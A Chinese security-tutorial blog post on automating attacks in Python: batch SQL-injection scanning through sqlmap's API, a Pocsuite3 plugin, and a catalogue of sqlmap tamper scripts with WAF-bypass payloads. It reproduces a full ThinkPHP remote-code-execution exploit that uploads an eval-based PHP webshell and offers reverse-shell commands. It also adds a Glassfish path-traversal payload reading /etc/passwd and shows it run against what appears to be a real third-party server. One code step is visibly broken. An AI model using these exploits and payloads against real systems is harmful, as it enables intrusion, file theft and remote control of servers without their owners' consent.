p79 Python 开发-sqlmapapiTamperPocsuite

news2024/11/28 15:39:50
数据来源​​​​​​

   本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。 

知识点:

        Request 爬虫技术,Sqlmap 深入分析, Pocsuite 分析,框架代码二次修改等

目的:

        掌握安全工具的 API 接口开发利用,掌握优秀框架的二次开发插件引用等

演示案例:

  • Sqlmap_Tamper 模块脚本编写绕过滤
  • SqlmapAPI 调用实现自动化 SQL 注入安全检测
  • Pocsuite3 漏扫框架二次开发 POC/EXP 引入使用

案例1 - SqlmapAPI 调用实现自动化 SQL 注入安全检测

参考: https://www.freebuf.com/articles/web/204875.html
应用案例:前期通过信息收集拿到大量的 URL 地址,这个时候可以配合 SqlmapAPI 接口进行批量的 SQL 注入检测(SRC 挖掘)

开发当前项目过程:(利用 sqlmapapi 接口实现批量 URL 注入安全检测)

  1. 创建新任务记录任务 ID @get("/task/new")
  2. 设置任务 ID 扫描信息 @post("/option/<taskid>/set ")
  3. 开始扫描对应 ID 任务 @post("/scan/<taskid>/start")
  4. 读取扫描状态判断结果 @get("/scan/<taskid>/status")
  5. 如果结束删除 ID 并获取结果 @get("/task/<taskid>/delete")
  6. 扫描结果查看@get("/scan/<taskid>/data")

实现步骤:

前提安装了sqlilabs靶场:http://127.0.0.1/sqlilabs/Less-2/?id=1    在浏览器中打开测试靶场是否安装成功

sqlmap 下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master

安装步骤:详细安装sqlmap详细教程_sqlmap安装教程_mingzhi61的博客-CSDN博客 

 测试能否访问

1)开启sqlmap的api服务端

下载完sqlmap后解压然后在sqlmap的安装目录下打开cmd ->输入:python sqlmapapi.py -s

2) 创建一个新的任务ID

import requests                       # 这个模块是来发送网络请求的

# 首先先请求了/task/new,来创建一个新的taskid(任务id),127.0.0.1:8775就是刚才启动sqlmap获取到的请求地址
task_new_url = 'http://127.0.0.1:8775/task/new'
result = requests.get(task_new_url).content.decode('utf-8')   # 使用requests模块发送get请求  .content 获取返回的结果  .decode('utf-8')指定解析的编码格式
print(result)

代码运行后,查看cmd 

 完善一下代码,取出任务ID

import requests                       # 这个模块是来发送网络请求的
import json                           # 导入json模块

# 1、创建任务ID
# 首先先请求了/task/new,来创建一个新的taskid(任务id),127.0.0.1:8775就是刚才启动sqlmap获取到的请求地址
task_new_url = 'http://127.0.0.1:8775/task/new'
result = requests.get(task_new_url).content.decode('utf-8')   # 使用requests模块发送get请求  .content 获取返回的结果  .decode('utf-8')指定解析的编码格式
# result 现在获取到的返回的结果是json数据格式我们需要转换为pyhton的数据格式才能对其进行操作
task_id = json.loads(result)['taskid']                        # json.loads() 将json转为pyhton的数据格式,并取出taskid(任务ip)
# print(json.loads(result),task_id)

3) 设置任务ID的配置信息(扫描信息)

我这里把sqlilabs靶场作为目标扫描,需要安装的可以安装下步骤很简单:《SQL注入—Sqli-labs注入环境搭建》_sqlilabs环境搭建_susu苏打水的博客-CSDN博客

import requests                       # 这个模块是来发送网络请求的
import json                           # 导入json模块

# 1、创建任务ID
# 首先先请求了/task/new,来创建一个新的taskid(任务id),127.0.0.1:8775就是刚才启动sqlmap获取到的请求地址
task_new_url = 'http://127.0.0.1:8775/task/new'
result = requests.get(task_new_url).content.decode('utf-8')   # 使用requests模块发送get请求  .content 获取返回的结果  .decode('utf-8')指定解析的编码格式
# result 现在获取到的返回的结果是json数据格式我们需要转换为pyhton的数据格式才能对其进行操作
task_id = json.loads(result)['taskid']                        # json.loads() 将json转为pyhton的数据格式,并取出taskid(任务ip)
# print(json.loads(result),task_id)

# 2、设置任务ID的配置信息(扫描信息)
data = {                                                      # 设置请求参数
    'url':'http://127.0.0.1/sqlilabs/Less-2/?id=1'            # sqlilabs靶场某个关卡的url地址
}
data = json.dumps(data)                                       # json.dumps()方法将数据转换成json
headers = {                                                   # 设置请求头
    'Content-Type':'application/json'                         # Content-Type设置请求的数据方式,application/json告诉服务端消息主体是序列化后的json字符串
}
task_set_url = f'http://127.0.0.1:8775/option/{task_id}/set'  # 设置扫描的url
task_set_resp = requests.post(task_set_url,data=data,headers=headers).content.decode('utf-8')     # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
print(task_set_resp)

4)启动扫描对应ID的任务

import requests                       # 这个模块是来发送网络请求的
import json                           # 导入json模块

# 1、创建任务ID
# 首先先请求了/task/new,来创建一个新的taskid(任务id),127.0.0.1:8775就是刚才启动sqlmap获取到的请求地址
task_new_url = 'http://127.0.0.1:8775/task/new'
result = requests.get(task_new_url).content.decode('utf-8')   # 使用requests模块发送get请求  .content 获取返回的结果  .decode('utf-8')指定解析的编码格式
# result 现在获取到的返回的结果是json数据格式我们需要转换为pyhton的数据格式才能对其进行操作
task_id = json.loads(result)['taskid']                        # json.loads() 将json转为pyhton的数据格式,并取出taskid(任务ip)
# print(json.loads(result),task_id)

# 2、设置任务ID的配置信息(扫描信息)
data = {                                                      # 设置请求参数
    'url':'http://127.0.0.1/sqlilabs/Less-2/?id=1'            # sqlilabs靶场某个关卡的url地址
}
data = json.dumps(data)                                       # json.dumps()方法将数据转换成json
headers = {                                                   # 设置请求头
    'Content-Type':'application/json'                         # Content-Type设置请求的数据方式,application/json告诉服务端消息主体是序列化后的json字符串
}
task_set_url = f'http://127.0.0.1:8775/option/{task_id}/set'  # 设置扫描的url
task_set_resp = requests.post(task_set_url,data=data,headers=headers).content.decode('utf-8')     # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
# print(task_set_resp)

# 3、启动扫描对应ID的任务
task_start_url = f'http://127.0.0.1:8775/scan/{task_id}/start'
task_start_resp = requests.post(task_start_url,data=data,headers=headers).content.decode('utf-8')     # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
print(task_start_resp)

5)获取对应ID的扫描状态然后判断结果

import requests                       # 这个模块是来发送网络请求的
import json                           # 导入json模块

# 1、创建任务ID
# 首先先请求了/task/new,来创建一个新的taskid(任务id),127.0.0.1:8775就是刚才启动sqlmap获取到的请求地址
task_new_url = 'http://127.0.0.1:8775/task/new'
result = requests.get(task_new_url).content.decode('utf-8')   # 使用requests模块发送get请求  .content 获取返回的结果  .decode('utf-8')指定解析的编码格式
# result 现在获取到的返回的结果是json数据格式我们需要转换为pyhton的数据格式才能对其进行操作
task_id = json.loads(result)['taskid']                        # json.loads() 将json转为pyhton的数据格式,并取出taskid(任务ip)
# print(json.loads(result),task_id)

# 2、设置任务ID的配置信息(扫描信息)
data = {                                                      # 设置请求参数
    'url':'http://127.0.0.1/sqlilabs/Less-2/?id=1'            # sqlilabs靶场某个关卡的url地址
}
data = json.dumps(data)                                       # json.dumps()方法将数据转换成json
headers = {                                                   # 设置请求头
    'Content-Type':'application/json'                         # Content-Type设置请求的数据方式,application/json告诉服务端消息主体是序列化后的json字符串
}
task_set_url = f'http://127.0.0.1:8775/option/{task_id}/set'  # 设置扫描的url
task_set_resp = requests.post(task_set_url,data=data,headers=headers).content.decode('utf-8')     # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
# print(task_set_resp)

# 3、启动扫描对应ID的任务
task_start_url = f'http://127.0.0.1:8775/scan/{task_id}/start'
task_start_resp = requests.post(task_start_url,data=data,headers=headers).content.decode('utf-8')     # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
# print(task_start_resp)

# 4、获取对应ID的扫描状态然后判断结果
task_status_url = f'http://127.0.0.1:8775/scan/{task_id}/status'
task_status_resp = requests.get(task_start_url).content.decode('utf-8')     # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
print(task_status_resp)
if 'running' in task_status_resp:                                         # 如果返回结果中包含running,就说明还没有扫描完成
                        print('程序还在扫描中...')
                        # print(task_status_resp)
                    else:                                                                     # 否则再次获取结果
                        task_data_url = f'{url}/scan/{task_id}/data'
                        task_data_resp = requests.get(task_data_url).content.decode('utf-8')  # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
                        print(task_data_resp)

 到这个一步运行代码你就会发现出现问题了返回的结果都是空的,原因分析:结果还没有扫描出来我们就获取并打印了返回结果,而且我们现在的程序每次运行都会创建新的任务ID,所以我们要写个判断如果任务ID已经存在,那就不用再创建了

6)代码优化

  1. 上面的每一步都设置了判断
  2. 设置了批量扫描,并将存在sql注入的url存入本地的文件中
  3. 设置了多线程提高运行速度

注意:要获取扫描结果,前提是你的目标url是可以访问的,如果是向我这样目标是本地的漏洞靶场,要保证你的靶场是可以访问的。 

  

import time
import requests                       # 这个模块是来发送网络请求的
import json                           # 导入json模块
import threading                      # 导入threading模块实现多线程
import queue                          # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步

def sqlmapapi():
    # .empty()如果队列为空,返回 True,否则返回 False
    while not q.empty():                                 # while 循环 not(非,反转) 真为假,假为真
        url_i = q.get()                                  # 获取队列,timeout等待时间
        sqlmapapi_url = 'http://127.0.0.1:8775'          # sqlmapapi服务器的url
        data = {                                         # 设置请求参数
            'url': url_i                                 # sqlilabs靶场某个关卡的url地址
        }
        data = json.dumps(data)                          # json.dumps()方法将数据转换成json
        headers = {                                      # 设置请求头
            'Content-Type': 'application/json'           # Content-Type设置请求的数据方式,application/json告诉服务端消息主体是序列化后的json字符串
        }

        # 1、创建任务ID
        # 首先先请求了/task/new,来创建一个新的taskid(任务id),127.0.0.1:8775就是刚才启动sqlmap获取到的请求地址
        task_new_url = f'{sqlmapapi_url}/task/new'
        result = requests.get(task_new_url).content.decode('utf-8')   # 使用requests模块发送get请求  .content 获取返回的结果  .decode('utf-8')指定解析的编码格式
        # result 现在获取到的返回的结果是json数据格式我们需要转换为pyhton的数据格式才能对其进行操作
        task_id = json.loads(result)['taskid']                        # json.loads() 将json转为pyhton的数据格式,并取出taskid(任务ip)
        print(result)
        if 'success' in result:                                       # 判断success这个字符如果在存在result(请求的响应结果),那就证明已经有任务ID了,就不用再创建了
            print("任务ID已创建!")

            # 2、设置任务ID的配置信息(扫描信息)
            task_set_url = f'{sqlmapapi_url}/option/{task_id}/set'  # 设置扫描的url
            task_set_resp = requests.post(task_set_url, data=data, headers=headers).content.decode('utf-8')  # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
            if 'success' in task_set_resp:
                print("任务ID的配置信息已设置!")

                # 3、启动扫描对应ID的任务
                task_start_url = f'{sqlmapapi_url}/scan/{task_id}/start'
                task_start_resp = requests.post(task_start_url, data=data, headers=headers).content.decode(
                    'utf-8')  # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
                if 'success' in task_start_resp:
                    print("扫描任务启动成功")
                    # 4、获取对应ID的扫描状态
                    while 1:               # 设置无限循环,直到扫描出结果再手动退出
                        task_status_url = f'{sqlmapapi_url}/scan/{task_id}/status'
                        task_status_resp = requests.get(task_status_url).content.decode('utf-8')  # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
                        if 'running' in task_status_resp:                                         # 如果返回结果中包含running,就说明还没有扫描完成
                            print(f'正在在扫描中{url_i}...')
                            # print(task_status_resp)
                        else:                                                                     # 否则再次获取结果
                            task_data_url = f'{sqlmapapi_url}/scan/{task_id}/data'
                            task_data_resp = requests.get(task_data_url).content.decode('utf-8')  # 发送post请求,参数(请求的url,data=请求参数,headers=请求头)
                            with open('scan_result.txt','a+',encoding='UTF-8') as f:                               # with open 操作文件,完成后会自动关闭文件,a 追加文件内容,如文件不存在哪就创建再追加
                                f.write(f'==========python sqlmapapi {url_i} =========='+'\n')
                                f.write(f'扫描结果:{task_data_resp}\n')                                                 # write() 写入文件

                            #print('delete taskid')
                            scan_deltask_url = 'http://127.0.0.1:8775/task/' + task_id + '/delete' # 扫描完成后删除任务ID解除内存的占用
                            scan_deltask = requests.get(scan_deltask_url).content.decode('utf-8')
                            if 'success' in scan_deltask:
                                print('删除任务成功')
                            break           # 退出循环
                        time.sleep(0.5)     # 设置延时0.5秒,给程序扫描漏洞一点时间

if __name__ == '__main__':
    q = queue.Queue()                    # 创建队列
    for url in open('url.txt'):          # 遍历url.txt获取目标url
        url = url.replace('\n','')       # replace() 替换字符串,这里是将换行替换为空
        q.put(url)                       # 向队列中插入元素(目标url)
        
    for x in range(5):                   # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9
        t = threading.Thread(target=sqlmapapi)     # 创建线程对象,target=执行目标任务名
        t.start()                        # 启动线程,让他开始工作



案例3 - Pocsuite3 漏扫框架二次开发 POC/EXP 引入使用

参考:https://www.freebuf.com/articles/people/162868.html
Pocsuite3 下载: https://codeload.github.com/knownsec/pocsuite3/zip/refs/heads/master

开发当前项目过程:(利用已知框架增加引入最新或内部的 EXP 进行安全检测)

  1. 熟悉 Pocsuite3 项目使用及介绍
  2. 熟悉使用命令及代码文件对应情况
  3. 选取 Glassfish 漏洞进行编写测试
  4. 参考自带漏洞模版代码模仿写法测试
  5. python cli.py -u x.x.x.x -r Glassfish.py --verify

Pocsuite3源码随便找个目录下解压

Pocsuite3安装依赖:

pip install requests requests-toolbelt

pip install pyreadline           # 如果是windows系统就要安装这个包
  • 进入解压好的文件目录:

    /pocsuite3-master/pocsuite3

  • 在pocsuite3目录下输入命令:

 python cli.py -h

 不出意外的话会报错

 安装完这个模块继续使用,还是会报错会有很多次都是说找不到模块按照提示安装就好,需要注意的是我刚才安装到socks这个模块时我已经安装成功了但还是报错

 python cli.py -h

解决方法:使用前先更新requests版本为支持socks的版本。(来源)

pip install -U requests[socks]

 最后终于安装成功

案例实现步骤: 

1)pocsuite3-master\pocsuite3\pocs目录下创建一个Glassfish_poc.py文件

然后将thinkphp_rce.py的代码复制到我们创建的Glassfish_poc.py文件中对他进行二次开发

"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit https://pocsuite.org
"""
from collections import OrderedDict
from urllib.parse import quote

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, REVERSE_PAYLOAD, OptDict, VUL_TYPE
from pocsuite3.lib.utils import random_str


class DemoPOC(POCBase):
    vulID = '97715'  # ssvid
    version = '1.0'
    author = ['chenghs']
    vulDate = '2018-12-09'
    createDate = '2018-12-10'
    updateDate = '2018-12-10'
    references = ['https://www.seebug.org/vuldb/ssvid-97715']
    name = 'ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)'
    appPowerLink = 'http://www.thinkphp.cn/'
    appName = 'thinkphp'
    appVersion = 'thinkphp5.1.31'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新
    ,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。'''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    pocDesc = '''攻击模式下将会生成一个一句话shell,成功返回shell地址,shell密码为pass'''

    def _options(self):
        o = OrderedDict()
        payload = {
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

    def _check(self, url):
        flag = 'Registered PHP Streams'
        data = OrderedDict([
            ("function", "call_user_func_array"),
            ("vars[0]", "phpinfo"),
            ("vars[1][]", "-1")
        ])
        payloads = [
            r"/?s=admin/\think\app/invokefunction",
            r"/admin.php?s=admin/\think\app/invokefunction",
            r"/index.php?s=admin/\think\app/invokefunction",
            r"/?s=index/\think\Container/invokefunction",
            r"/index.php?s=index/\think\Container/invokefunction",
            r"/index.php?s=index/\think\app/invokefunction"
        ]
        for payload in payloads:
            vul_url = url + payload
            r = requests.post(vul_url, data=data)

            if flag in r.text:
                return payload, dict(data)
        return False

    def _verify(self):
        result = {}
        p = self._check(self.url)
        if p:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = p[0]
            result['VerifyInfo']['Postdata'] = p[1]

        return self.parse_output(result)

    def _attack(self):
        result = {}
        filename = random_str(6) + ".php"
        webshell = r'''<?php echo "green day";@eval($_POST["pass"]);?>'''

        p = self._check(self.url)
        if p:
            data = p[1]
            data["vars[1][]"] = "echo%20%27{content}%27%20>%20{filename}".format(filename=filename,
                                                                                 content=quote(webshell))
            data["vars[0]"] = "system"
            vulurl = self.url + p[0]
            requests.post(vulurl, data=data)
            r = requests.get(self.url + "/" + filename)
            if r.status_code == 200 and "green day" in r.text:
                result['ShellInfo'] = {}
                result['ShellInfo']['URL'] = self.url + "/" + filename
                result['ShellInfo']['Content'] = webshell
        if not result:
            vulurl = self.url + r"/index.php?s=index/\think\template\driver\file/write&cacheFile={filename}&content={content}"
            vulurl = vulurl.format(filename=filename, content=quote(webshell))
            requests.get(vulurl)
            r = requests.get(self.url + "/" + filename)
            if r.status_code == 200 and "green day" in r.text:
                result['ShellInfo'] = {}
                result['ShellInfo']['URL'] = self.url + "/" + filename
                result['ShellInfo']['Content'] = webshell

        return self.parse_output(result)

    def _shell(self):
        # cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
        cmd = self.get_option("command")
        p = self._check(self.url)
        if p:
            data = p[1]
            data["vars[0]"] = "system"
            data["vars[1][]"] = cmd
            vulurl = self.url + p[0]
            requests.post(vulurl, data=data)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)

​ 

2)修改_verify()方法(验证目标是否存在漏洞),这里修改成验证应用服务器glassfish任意文件读取漏洞(如果需要详细了解这个漏洞可以看这篇:Python 开发-批量 Fofa&SRC 提取&POC 验证)

改动如下:

    def _verify(self):                                 # verify 模式:验证目标是否存在漏洞
        result = {}
        poc_url = self.url
        payload_linux = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
        payload_windows = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
        resp = requests.get(poc_url + payload_linux)   # 发送网络请求,如果存在应用服务器glassfish任意文件读取漏洞就能请求成功,返回对应的文件信息
        try:
            if resp.status_code == 200:                    # 判断状态码,200就是成功,存在漏洞
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = poc_url
                result['VerifyInfo']['Payload'] = payload_linux
        except Exception as e:
            pass
        return self.parse_output(result)

在cmd的/pocsuite3-master/pocsuite3目录下传入参数运行代码(就是刚才安装第三方包的目录) 

 cli.py -u http://ceph.espot.com.cn:4848 -r Glassfish_poc.py --verify

注意:这一步也会出现报错,跟上面一样根据意思安装包就可以了,有些包安装不成功就百度一下,因为有些包实际的包名称也错误提示的名称不一样。 

最终漏洞扫描结果

案例3 、Sqlmap_Tamper 模块脚本编写绕过滤

这个案例是基于案例1的基础上实现的,在我们之前下载的SqlmapAPI 这个文件中包含了一下过滤脚本,目录:\sqlmapproject-sqlmap-80dc67f\tamper

脚本介绍(原文)

apostrophemask.py

        作用:将引号替换为UTF-8,用于过滤单引号

base64encode.py

        作用:替换为base64编码

multiplespaces.py

        作用:围绕SQL关键词添加多个空格

space2plus.py

        作用:使用+号替换空格

nonrecursivereplacement.py

        作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常强的自定义过滤器,例如将SELECT替换为空)

space2randomblank.py

        作用:将空格替换为其他有效字符

unionalltounion.py

        作用:将UNION ALL SELECT替换为UNION SELECT

securesphere.py

        作用:追加特制的字符串

space2hash.py

        作用:将空格替换为#号,并随机添加一个字符串和换行符

space2mssqlblank.py(MsSQL)

        作用:将空格替换为其他空符号

space2mssqlhash.py

        作用:将空格替换为#号,并添加一个换行符

between.py

        作用:用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND替换等号(=)

percentage.py

        作用:ASP允许在每个字符前添加一个%号

sp_password.py

        作用:从DBMS日记的自动模糊处理的有效载荷中添加sp_password

charencode.py

        作用:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)

randomcase.py

        作用:随机大小写

charunicodeencode.py

        作用:字符串unicode编码

space2comment.py

        作用:将空格替换为/**/

equaltolike.py

        作用:将等号替换为like

greatest.py

        作用:绕过对“>”的过滤,用GREATEST替换大于号

ifnull2ifisnull.py

        作用:绕过IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)

modsecurityversioned.py

        作用:过滤空格,使用MySQL内联注释的方式进行注入

space2mysqlblank.py

        作用:将空格替换为其他空白符号(适用于MySQL)

modsecurityzeroversioned.py

        作用:使用MySQL内联注释的方式(/*!00000*/)进行注入

space2mysqldash.py

        作用:将空格替换为--,并添加一个换行符

bluecoat.py

        作用:在SQL语句后用有效的随机空白符替换空格,随后用LIKE替换等号

versionedkeywords.py

        作用:注释绕过

halfversionedmorekeywords.py

        作用:当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释

space2morehash.py

        作用:将空格替换为#号,并添加一个随机字符串和换行符

apostrophenullencode.py

        作用:用非法双字节unicode字符串替换单引号

appendnullbyte.py

        作用:在有效负荷的结束位置添加零字节字符编码

chardoubleencode.py

        作用:对给定的Payload全部字符使用双重URL编码(不处理已编码的字符)

unmagicquotes.py

        作用:使用一个多字节组合(%bf%27)和末尾通用注释一起替换掉空格

randomcomments.py

        作用:用/**/分割SQL关键字

脚本分类说明(原文)

支持的数据库编号脚本名称作用实现方式
all1apostrophemask.py用utf8代替引号("1 AND '1'='1") 
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 
2base64encode.py 用base64编码替换("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
3multiplespaces.py围绕SQL关键字添加多个空格('1 UNION SELECT foobar')
'1    UNION     SELECT   foobar'
4space2plus.py用+替换空格('SELECT id FROM users')
'SELECT+id+FROM+users'
5nonrecursivereplacement.py双重查询语句。取代predefined SQL关键字with表示 
suitable for替代(例如  .replace(“SELECT”、”")) filters
('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'
6space2randomblank.py代替空格字符(“”)从一个随机的空
白字符可选字符的有效集
('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'
7unionalltounion.py替换UNION ALL SELECT UNION SELECT('-1 UNION ALL SELECT')
'-1 UNION SELECT'
8securesphere.py追加特制的字符串('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"
mssql1space2hash.py绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
'1 AND 9227=9227' 
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' 
2equaltolike.pylike 代替等号
* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 
3space2mssqlblank.py(mssql)空格替换为其它空符号Input: SELECT id FROM users
Output: SELECT%08id%02FROM%0Fusers
4space2mssqlhash.py替换空格('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
5between.py用between替换大于号(>)('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
6percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
7sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'
8charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
9randomcase.py随机大小写* Input: INSERT
* Output: InsERt
10charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
11space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
mysql >= 5.1.131equaltolike.pylike 代替等号
* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 
2greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
3apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
4ifnull2ifisnull.py绕过对 IFNULL 过滤。
替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
5space2mssqlhash.py替换空格('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
6modsecurityversioned.py过滤空格,包含完整的查询版本注释('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'
7space2mysqlblank.py空格替换其它空白符号(mysql)Input: SELECT id FROM users
Output: SELECT%0Bid%0BFROM%A0users
8between.py用between替换大于号(>)('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
9modsecurityzeroversioned.py包含了完整的查询与零版本注释('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'
10space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'
11bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句。
然后替换=为like
('SELECT id FROM users where id = 1')
'SELECT%09id FROM users where id LIKE 1'
12percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
13charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
14randomcase.py随机大小写* Input: INSERT
* Output: InsERt
15versionedkeywords.pyEncloses each non-function keyword with versioned MySQL comment* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
16space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
17charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
18versionedmorekeywords.py注释绕过* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
MySQL < 5.119halfversionedmorekeywords.py关键字前加注释* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa
20halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加
mysql版本评论
1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
MySQL >= 5.1.1321space2morehash.py空格替换为 #号 以及更多随机字符串 换行符* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
 Oracle1greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
2apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
3between.py用between替换大于号(>)('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
4charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
5randomcase.py随机大小写* Input: INSERT
* Output: InsERt
